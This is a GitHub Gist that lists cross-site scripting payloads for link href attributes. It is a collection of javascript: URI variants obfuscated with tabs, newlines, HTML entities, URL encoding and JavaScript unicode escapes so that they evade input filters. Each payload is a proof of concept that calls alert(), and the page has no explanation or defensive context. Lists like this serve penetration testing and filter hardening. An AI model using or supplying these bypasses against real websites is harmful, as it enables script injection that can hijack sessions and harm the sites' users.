-
-
Save yut0u/3107d061c0f20003b96820178c71c213 to your computer and use it in GitHub Desktop.
XSS payloads for href
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!--javascript --> | |
| ja	vascript:alert(1) | |
| ja
vascript:alert(1) | |
| ja
vascript:alert(1) | |
| javascript:alert() | |
| <!--::colon:: --> | |
| javascript:alert() | |
| javascript:alert() | |
| javascript:alert(1) | |
| javascript:alert() | |
| <!-- alert --> | |
| #HTML entities/encode: | |
| javascript:alert() | |
| javascript:alert`` | |
| #url encoding: | |
| javascript:alert%60%60 | |
| javascript:x='%27-alert(1)-%27'; | |
| javascript:%61%6c%65%72%74%28%29 | |
| #JS unicode | |
| javascript:a\u006Cert``" | |
| javascript:\u0061\u006C\u0065\u0072\u0074`` |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment